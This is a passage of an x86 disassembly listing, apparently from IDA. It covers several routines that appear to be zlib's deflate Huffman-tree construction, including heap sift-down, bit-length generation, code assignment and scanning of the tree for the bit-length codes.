mov ecx, [ebp+var_18]
mov [ebp+var_20], ecx
jmp short loc_4C259C
; ---------------------------------------------------------------------------
loc_4C2595: ; CODE XREF: sub_4C24AE+D4j
mov [ebp+var_20], 0
loc_4C259C: ; CODE XREF: sub_4C24AE+E5j
mov edx, [ebp+arg_0]
mov eax, [edx+1448h]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+1448h], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1448h]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_20]
mov [ecx+eax*4+0B54h], edx
mov eax, [ebp+var_20]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_10]
mov word ptr [edx+ecx*4], 1
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov byte ptr [eax+1450h], 0
mov ecx, [ebp+arg_0]
mov edx, [ecx+16A0h]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+16A0h], edx
cmp [ebp+var_C], 0
jz short loc_4C2622
mov ecx, [ebp+var_4]
mov edx, [ebp+var_C]
xor eax, eax
mov ax, [edx+ecx*4+2]
mov ecx, [ebp+arg_0]
mov edx, [ecx+16A4h]
sub edx, eax
mov eax, [ebp+arg_0]
mov [eax+16A4h], edx
loc_4C2622: ; CODE XREF: sub_4C24AE+151j
jmp loc_4C256E
; ---------------------------------------------------------------------------
loc_4C2627: ; CODE XREF: sub_4C24AE+CAj
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_18]
mov [ecx+4], edx
mov eax, [ebp+arg_0]
mov eax, [eax+1448h]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_1C], eax
jmp short loc_4C264C
; ---------------------------------------------------------------------------
loc_4C2643: ; CODE XREF: sub_4C24AE+1B8j
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
loc_4C264C: ; CODE XREF: sub_4C24AE+193j
cmp [ebp+var_1C], 1
jl short loc_4C2668
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C284E
add esp, 0Ch
jmp short loc_4C2643
; ---------------------------------------------------------------------------
loc_4C2668: ; CODE XREF: sub_4C24AE+1A2j
mov edx, [ebp+var_8]
mov [ebp+var_4], edx
loc_4C266E: ; CODE XREF: sub_4C24AE+33Aj
mov eax, [ebp+arg_0]
mov ecx, [eax+0B58h]
mov [ebp+var_1C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1448h]
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [edx+eax*4+0B54h]
mov [ecx+0B58h], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+1448h]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+1448h], edx
push 1
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C284E
add esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+0B58h]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+144Ch]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+144Ch], eax
mov edx, [ebp+arg_0]
mov eax, [edx+144Ch]
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_1C]
mov [ecx+eax*4+0B54h], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+144Ch]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+144Ch], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+144Ch]
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+ecx*4+0B54h], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_10]
xor eax, eax
mov ax, [edx+ecx*4]
mov ecx, [ebp+var_14]
mov edx, [ebp+var_10]
xor esi, esi
mov si, [edx+ecx*4]
add eax, esi
mov ecx, [ebp+var_4]
mov edx, [ebp+var_10]
mov [edx+ecx*4], ax
mov eax, [ebp+arg_0]
add eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1450h]
mov edx, [ebp+arg_0]
add edx, [ebp+var_14]
xor eax, eax
mov al, [edx+1450h]
cmp ecx, eax
jl short loc_4C2776
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_1C]
xor edx, edx
mov dl, [ecx+1450h]
mov [ebp+var_24], edx
jmp short loc_4C2787
; ---------------------------------------------------------------------------
loc_4C2776: ; CODE XREF: sub_4C24AE+2B3j
mov eax, [ebp+arg_0]
add eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax+1450h]
mov [ebp+var_24], ecx
loc_4C2787: ; CODE XREF: sub_4C24AE+2C6j
mov edx, [ebp+var_24]
add edx, 1
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov [eax+1450h], dl
mov ecx, [ebp+var_14]
mov edx, [ebp+var_10]
mov ax, word ptr [ebp+var_4]
mov [edx+ecx*4+2], ax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_10]
mov ax, word ptr [ebp+var_4]
mov [edx+ecx*4+2], ax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_4]
mov [ecx+0B58h], edx
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
push 1
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4C284E
add esp, 0Ch
mov eax, [ebp+arg_0]
cmp dword ptr [eax+1448h], 2
jge loc_4C266E
mov ecx, [ebp+arg_0]
mov edx, [ecx+144Ch]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+144Ch], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+144Ch]
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+0B58h]
mov [eax+edx*4+0B54h], ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C29ED
add esp, 8
mov ecx, [ebp+arg_0]
add ecx, 0B34h
push ecx
mov edx, [ebp+var_18]
push edx
mov eax, [ebp+var_10]
push eax
call sub_4C2D20
add esp, 0Ch
pop esi
mov esp, ebp
pop ebp
retn
sub_4C24AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C284E proc near ; CODE XREF: sub_4C24AE+1B0p
; sub_4C24AE+207p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+0B54h]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
shl eax, 1
mov [ebp+var_8], eax
loc_4C286E: ; CODE XREF: sub_4C284E+184j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+1448h]
jg loc_4C29D7
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+1448h]
jge loc_4C2931
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov ecx, [eax+edx*4+0B58h]
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+ecx*4]
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov ecx, [edx+ecx*4+0B54h]
mov edx, [ebp+arg_4]
xor esi, esi
mov si, [edx+ecx*4]
cmp eax, esi
jl short loc_4C2928
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+0B58h]
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+edx*4]
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov edx, [eax+edx*4+0B54h]
mov eax, [ebp+arg_4]
xor esi, esi
mov si, [eax+edx*4]
cmp ecx, esi
jnz short loc_4C2931
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4+0B58h]
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx+eax+1450h]
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4+0B54h]
mov ecx, [ebp+arg_0]
xor ebx, ebx
mov bl, [ecx+eax+1450h]
cmp edx, ebx
jg short loc_4C2931
loc_4C2928: ; CODE XREF: sub_4C284E+72j
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_4C2931: ; CODE XREF: sub_4C284E+3Ej
; sub_4C284E+A2j ...
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
xor edx, edx
mov dx, [ecx+eax*4]
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4+0B54h]
mov ecx, [ebp+arg_4]
xor esi, esi
mov si, [ecx+eax*4]
cmp edx, esi
jl short loc_4C29A8
mov edx, [ebp+var_4]
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+edx*4]
mov edx, [ebp+var_8]
mov eax, [ebp+arg_0]
mov edx, [eax+edx*4+0B54h]
mov eax, [ebp+arg_4]
xor esi, esi
mov si, [eax+edx*4]
cmp ecx, esi
jnz short loc_4C29AA
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx+1450h]
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
mov eax, [ecx+eax*4+0B54h]
mov ecx, [ebp+arg_0]
xor ebx, ebx
mov bl, [ecx+eax+1450h]
cmp edx, ebx
jg short loc_4C29AA
loc_4C29A8: ; CODE XREF: sub_4C284E+107j
jmp short loc_4C29D7
; ---------------------------------------------------------------------------
loc_4C29AA: ; CODE XREF: sub_4C284E+12Dj
; sub_4C284E+158j
mov edx, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov esi, [ebp+arg_0]
mov ecx, [esi+ecx*4+0B54h]
mov [eax+edx*4+0B54h], ecx
mov edx, [ebp+var_8]
mov [ebp+arg_8], edx
mov eax, [ebp+var_8]
shl eax, 1
mov [ebp+var_8], eax
jmp loc_4C286E
; ---------------------------------------------------------------------------
loc_4C29D7: ; CODE XREF: sub_4C284E+2Cj
; sub_4C284E:loc_4C29A8j
mov ecx, [ebp+arg_8]
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov [edx+ecx*4+0B54h], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4C284E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C29ED proc near ; CODE XREF: sub_4C24AE+379p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 34h
push esi
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov eax, [edx+4]
mov [ebp+var_34], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
mov eax, [edx+4]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
mov eax, [edx+8]
mov [ebp+var_2C], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
mov eax, [edx+10h]
mov [ebp+var_8], eax
mov [ebp+var_C], 0
mov [ebp+var_18], 0
jmp short loc_4C2A4D
; ---------------------------------------------------------------------------
loc_4C2A44: ; CODE XREF: sub_4C29ED+76j
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
loc_4C2A4D: ; CODE XREF: sub_4C29ED+55j
cmp [ebp+var_18], 0Fh
jg short loc_4C2A65
mov edx, [ebp+var_18]
mov eax, [ebp+arg_0]
mov word ptr [eax+edx*2+0B34h], 0
jmp short loc_4C2A44
; ---------------------------------------------------------------------------
loc_4C2A65: ; CODE XREF: sub_4C29ED+64j
mov ecx, [ebp+arg_0]
mov edx, [ecx+144Ch]
mov eax, [ebp+arg_0]
mov ecx, [eax+edx*4+0B54h]
mov edx, [ebp+var_10]
mov word ptr [edx+ecx*4+2], 0
mov eax, [ebp+arg_0]
mov ecx, [eax+144Ch]
add ecx, 1
mov [ebp+var_20], ecx
jmp short loc_4C2A9C
; ---------------------------------------------------------------------------
loc_4C2A93: ; CODE XREF: sub_4C29ED+117j
; sub_4C29ED:loc_4C2BACj
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_4C2A9C: ; CODE XREF: sub_4C29ED+A4j
cmp [ebp+var_20], 23Dh
jge loc_4C2BB1
mov eax, [ebp+var_20]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+0B54h]
mov [ebp+var_30], edx
mov eax, [ebp+var_30]
mov ecx, [ebp+var_10]
xor edx, edx
mov dx, [ecx+eax*4+2]
mov eax, [ebp+var_10]
xor ecx, ecx
mov cx, [eax+edx*4+2]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
cmp edx, [ebp+var_8]
jle short loc_4C2AED
mov eax, [ebp+var_8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_4C2AED: ; CODE XREF: sub_4C29ED+EFj
mov edx, [ebp+var_30]
mov eax, [ebp+var_10]
mov cx, word ptr [ebp+var_18]
mov [eax+edx*4+2], cx
mov edx, [ebp+var_30]
cmp edx, [ebp+var_34]
jle short loc_4C2B06
jmp short loc_4C2A93
; ---------------------------------------------------------------------------
loc_4C2B06: ; CODE XREF: sub_4C29ED+115j
mov eax, [ebp+var_18]
mov ecx, [ebp+arg_0]
mov dx, [ecx+eax*2+0B34h]
add dx, 1
mov eax, [ebp+var_18]
mov ecx, [ebp+arg_0]
mov [ecx+eax*2+0B34h], dx
mov [ebp+var_24], 0
mov edx, [ebp+var_30]
cmp edx, [ebp+var_2C]
jl short loc_4C2B44
mov eax, [ebp+var_30]
sub eax, [ebp+var_2C]
mov ecx, [ebp+var_14]
mov edx, [ecx+eax*4]
mov [ebp+var_24], edx
loc_4C2B44: ; CODE XREF: sub_4C29ED+146j
mov eax, [ebp+var_30]
mov ecx, [ebp+var_10]
mov dx, [ecx+eax*4]
mov word ptr [ebp+var_1C], dx
mov eax, [ebp+var_1C]
and eax, 0FFFFh
mov ecx, [ebp+var_18]
add ecx, [ebp+var_24]
imul eax, ecx
mov edx, [ebp+arg_0]
mov ecx, [edx+16A0h]
add ecx, eax
mov edx, [ebp+arg_0]
mov [edx+16A0h], ecx
cmp [ebp+var_4], 0
jz short loc_4C2BAC
mov eax, [ebp+var_1C]
and eax, 0FFFFh
mov ecx, [ebp+var_30]
mov edx, [ebp+var_4]
xor esi, esi
mov si, [edx+ecx*4+2]
add esi, [ebp+var_24]
imul eax, esi
mov ecx, [ebp+arg_0]
mov edx, [ecx+16A4h]
add edx, eax
mov eax, [ebp+arg_0]
mov [eax+16A4h], edx
loc_4C2BAC: ; CODE XREF: sub_4C29ED+18Ej
jmp loc_4C2A93
; ---------------------------------------------------------------------------
loc_4C2BB1: ; CODE XREF: sub_4C29ED+B6j
cmp [ebp+var_C], 0
jnz short loc_4C2BBC
jmp loc_4C2D1B
; ---------------------------------------------------------------------------
loc_4C2BBC: ; CODE XREF: sub_4C29ED+1C8j
; sub_4C29ED+264j
mov ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_18], ecx
loc_4C2BC5: ; CODE XREF: sub_4C29ED+1F5j
mov edx, [ebp+var_18]
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+edx*2+0B34h]
test ecx, ecx
jnz short loc_4C2BE4
mov edx, [ebp+var_18]
sub edx, 1
mov [ebp+var_18], edx
jmp short loc_4C2BC5
; ---------------------------------------------------------------------------
loc_4C2BE4: ; CODE XREF: sub_4C29ED+1EAj
mov eax, [ebp+var_18]
mov ecx, [ebp+arg_0]
mov dx, [ecx+eax*2+0B34h]
sub dx, 1
mov eax, [ebp+var_18]
mov ecx, [ebp+arg_0]
mov [ecx+eax*2+0B34h], dx
mov edx, [ebp+var_18]
mov eax, [ebp+arg_0]
mov cx, [eax+edx*2+0B36h]
add cx, 2
mov edx, [ebp+var_18]
mov eax, [ebp+arg_0]
mov [eax+edx*2+0B36h], cx
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov ax, [edx+ecx*2+0B34h]
sub ax, 1
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
mov [edx+ecx*2+0B34h], ax
mov eax, [ebp+var_C]
sub eax, 2
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jg loc_4C2BBC
mov ecx, [ebp+var_8]
mov [ebp+var_18], ecx
jmp short loc_4C2C68
; ---------------------------------------------------------------------------
loc_4C2C5F: ; CODE XREF: sub_4C29ED:loc_4C2D16j
mov edx, [ebp+var_18]
sub edx, 1
mov [ebp+var_18], edx
loc_4C2C68: ; CODE XREF: sub_4C29ED+270j
cmp [ebp+var_18], 0
jz loc_4C2D1B
mov eax, [ebp+var_18]
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+eax*2+0B34h]
mov [ebp+var_30], edx
loc_4C2C85: ; CODE XREF: sub_4C29ED+2C3j
; sub_4C29ED+324j
cmp [ebp+var_30], 0
jz loc_4C2D16
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4+0B54h]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
cmp ecx, [ebp+var_34]
jle short loc_4C2CB2
jmp short loc_4C2C85
; ---------------------------------------------------------------------------
loc_4C2CB2: ; CODE XREF: sub_4C29ED+2C1j
mov edx, [ebp+var_28]
mov eax, [ebp+var_10]
xor ecx, ecx
mov cx, [eax+edx*4+2]
cmp ecx, [ebp+var_18]
jz short loc_4C2D08
mov edx, [ebp+var_28]
mov eax, [ebp+var_10]
xor ecx, ecx
mov cx, [eax+edx*4+2]
mov edx, [ebp+var_18]
sub edx, ecx
mov eax, [ebp+var_28]
mov ecx, [ebp+var_10]
xor esi, esi
mov si, [ecx+eax*4]
imul edx, esi
mov eax, [ebp+arg_0]
mov ecx, [eax+16A0h]
add ecx, edx
mov edx, [ebp+arg_0]
mov [edx+16A0h], ecx
mov eax, [ebp+var_28]
mov ecx, [ebp+var_10]
mov dx, word ptr [ebp+var_18]
mov [ecx+eax*4+2], dx
loc_4C2D08: ; CODE XREF: sub_4C29ED+2D5j
mov eax, [ebp+var_30]
sub eax, 1
mov [ebp+var_30], eax
jmp loc_4C2C85
; ---------------------------------------------------------------------------
loc_4C2D16: ; CODE XREF: sub_4C29ED+29Cj
jmp loc_4C2C5F
; ---------------------------------------------------------------------------
loc_4C2D1B: ; CODE XREF: sub_4C29ED+1CAj
; sub_4C29ED+27Fj
pop esi
mov esp, ebp
pop ebp
retn
sub_4C29ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C2D20 proc near ; CODE XREF: sub_4C24AE+393p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 34h
push esi
mov word ptr [ebp+var_28], 0
mov [ebp+var_4], 1
jmp short loc_4C2D3F
; ---------------------------------------------------------------------------
loc_4C2D36: ; CODE XREF: sub_4C2D20+4Fj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4C2D3F: ; CODE XREF: sub_4C2D20+14j
cmp [ebp+var_4], 0Fh
jg short loc_4C2D71
mov ecx, [ebp+var_28]
and ecx, 0FFFFh
mov edx, [ebp+var_4]
mov eax, [ebp+arg_8]
xor esi, esi
mov si, [eax+edx*2-2]
add ecx, esi
shl ecx, 1
mov word ptr [ebp+var_28], cx
mov ecx, [ebp+var_4]
mov dx, word ptr [ebp+var_28]
mov [ebp+ecx*2+var_24], dx
jmp short loc_4C2D36
; ---------------------------------------------------------------------------
loc_4C2D71: ; CODE XREF: sub_4C2D20+23j
mov [ebp+var_2C], 0
jmp short loc_4C2D83
; ---------------------------------------------------------------------------
loc_4C2D7A: ; CODE XREF: sub_4C2D20+81j
; sub_4C2D20+BEj
mov eax, [ebp+var_2C]
add eax, 1
mov [ebp+var_2C], eax
loc_4C2D83: ; CODE XREF: sub_4C2D20+58j
mov ecx, [ebp+var_2C]
cmp ecx, [ebp+arg_4]
jg short loc_4C2DE0
mov edx, [ebp+var_2C]
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+edx*4+2]
mov [ebp+var_30], ecx
cmp [ebp+var_30], 0
jnz short loc_4C2DA3
jmp short loc_4C2D7A
; ---------------------------------------------------------------------------
loc_4C2DA3: ; CODE XREF: sub_4C2D20+7Fj
mov edx, [ebp+var_30]
push edx
mov eax, [ebp+var_30]
xor ecx, ecx
mov cx, [ebp+eax*2+var_24]
mov [ebp+var_34], ecx
mov edx, [ebp+var_34]
push edx
mov eax, [ebp+var_30]
mov cx, [ebp+eax*2+var_24]
add cx, 1
mov edx, [ebp+var_30]
mov [ebp+edx*2+var_24], cx
call sub_4C4A5C
add esp, 8
mov ecx, [ebp+var_2C]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], ax
jmp short loc_4C2D7A
; ---------------------------------------------------------------------------
loc_4C2DE0: ; CODE XREF: sub_4C2D20+69j
pop esi
mov esp, ebp
pop ebp
retn
sub_4C2D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C2DE5 proc near ; CODE XREF: sub_4C20F2+62p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+0B14h]
push ecx
mov edx, [ebp+arg_0]
add edx, 8Ch
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C2E9C
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov edx, [ecx+0B20h]
push edx
mov eax, [ebp+arg_0]
add eax, 980h
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C2E9C
add esp, 0Ch
mov edx, [ebp+arg_0]
add edx, 0B28h
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C24AE
add esp, 8
mov [ebp+var_4], 12h
jmp short loc_4C2E50
; ---------------------------------------------------------------------------
loc_4C2E47: ; CODE XREF: sub_4C2DE5:loc_4C2E74j
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_4C2E50: ; CODE XREF: sub_4C2DE5+60j
cmp [ebp+var_4], 3
jl short loc_4C2E76
mov edx, [ebp+var_4]
xor eax, eax
mov al, byte_4F2594[edx]
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+eax*4+0A76h]
test edx, edx
jz short loc_4C2E74
jmp short loc_4C2E76
; ---------------------------------------------------------------------------
loc_4C2E74: ; CODE XREF: sub_4C2DE5+8Bj
jmp short loc_4C2E47
; ---------------------------------------------------------------------------
loc_4C2E76: ; CODE XREF: sub_4C2DE5+6Fj
; sub_4C2DE5+8Dj
mov eax, [ebp+var_4]
add eax, 1
imul eax, 3
mov ecx, [ebp+arg_0]
mov edx, [ecx+16A0h]
lea eax, [edx+eax+0Eh]
mov ecx, [ebp+arg_0]
mov [ecx+16A0h], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4C2DE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C2E9C proc near ; CODE XREF: sub_4C2DE5+1Cp
; sub_4C2DE5+3Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_18], 0FFFFFFFFh
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+2]
mov [ebp+var_8], ecx
mov [ebp+var_4], 0
mov [ebp+var_C], 7
mov [ebp+var_10], 4
cmp [ebp+var_8], 0
jnz short loc_4C2EDE
mov [ebp+var_C], 8Ah
mov [ebp+var_10], 3
loc_4C2EDE: ; CODE XREF: sub_4C2E9C+32j
mov edx, [ebp+arg_8]
mov eax, [ebp+arg_4]
mov word ptr [eax+edx*4+6], 0FFFFh
mov [ebp+var_1C], 0
jmp short loc_4C2EFD
; ---------------------------------------------------------------------------
loc_4C2EF4: ; CODE XREF: sub_4C2E9C+9Cj
; sub_4C2E9C:loc_4C3030j
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_4C2EFD: ; CODE XREF: sub_4C2E9C+56j
mov edx, [ebp+var_1C]
cmp edx, [ebp+arg_8]
jg loc_4C3035
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+ecx*4+6]
mov [ebp+var_8], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp edx, [ebp+var_C]
jge short loc_4C2F3A
mov eax, [ebp+var_14]
cmp eax, [ebp+var_8]
jnz short loc_4C2F3A
jmp short loc_4C2EF4
; ---------------------------------------------------------------------------
loc_4C2F3A: ; CODE XREF: sub_4C2E9C+92j
; sub_4C2E9C+9Aj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+var_10]
jge short loc_4C2F67
mov edx, [ebp+var_14]
mov eax, [ebp+arg_0]
mov cx, [eax+edx*4+0A74h]
add cx, word ptr [ebp+var_4]
mov edx, [ebp+var_14]
mov eax, [ebp+arg_0]
mov [eax+edx*4+0A74h], cx
jmp loc_4C2FE7
; ---------------------------------------------------------------------------
loc_4C2F67: ; CODE XREF: sub_4C2E9C+A4j
cmp [ebp+var_14], 0
jz short loc_4C2FAF
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_18]
jz short loc_4C2F95
mov edx, [ebp+var_14]
mov eax, [ebp+arg_0]
mov cx, [eax+edx*4+0A74h]
add cx, 1
mov edx, [ebp+var_14]
mov eax, [ebp+arg_0]
mov [eax+edx*4+0A74h], cx
loc_4C2F95: ; CODE XREF: sub_4C2E9C+D7j
mov ecx, [ebp+arg_0]
mov dx, [ecx+0AB4h]
add dx, 1
mov eax, [ebp+arg_0]
mov [eax+0AB4h], dx
jmp short loc_4C2FE7
; ---------------------------------------------------------------------------
loc_4C2FAF: ; CODE XREF: sub_4C2E9C+CFj
cmp [ebp+var_4], 0Ah
jg short loc_4C2FCF
mov ecx, [ebp+arg_0]
mov dx, [ecx+0AB8h]
add dx, 1
mov eax, [ebp+arg_0]
mov [eax+0AB8h], dx
jmp short loc_4C2FE7
; ---------------------------------------------------------------------------
loc_4C2FCF: ; CODE XREF: sub_4C2E9C+117j
mov ecx, [ebp+arg_0]
mov dx, [ecx+0ABCh]
add dx, 1
mov eax, [ebp+arg_0]
mov [eax+0ABCh], dx
loc_4C2FE7: ; CODE XREF: sub_4C2E9C+C6j
; sub_4C2E9C+111j ...
mov [ebp+var_4], 0
mov ecx, [ebp+var_14]
mov [ebp+var_18], ecx
cmp [ebp+var_8], 0
jnz short loc_4C300A
mov [ebp+var_C], 8Ah
mov [ebp+var_10], 3
jmp short loc_4C3030
; ---------------------------------------------------------------------------
loc_4C300A: ; CODE XREF: sub_4C2E9C+15Cj
mov edx, [ebp+var_14]
cmp edx, [ebp+var_8]
jnz short loc_4C3022
mov [ebp+var_C], 6
mov [ebp+var_10], 3
jmp short loc_4C3030
; ---------------------------------------------------------------------------
loc_4C3022: ; CODE XREF: sub_4C2E9C+174j
mov [ebp+var_C], 7
mov [ebp+var_10], 4
loc_4C3030: ; CODE XREF: sub_4C2E9C+16Cj
; sub_4C2E9C+184j
jmp loc_4C2EF4
; ---------------------------------------------------------------------------
loc_4C3035: ; CODE XREF: sub_4C2E9C+67j
mov esp, ebp
pop ebp
retn
sub_4C2E9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C3039 proc near ; CODE XREF: sub_4C20F2+373p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov [ebp+var_8], 5
mov eax, 10h
sub eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
cmp [ecx+16B4h], eax
jle loc_4C312A
mov edx, [ebp+arg_4]
sub edx, 101h
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov edx, [ebp+var_C]
mov ecx, [eax+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
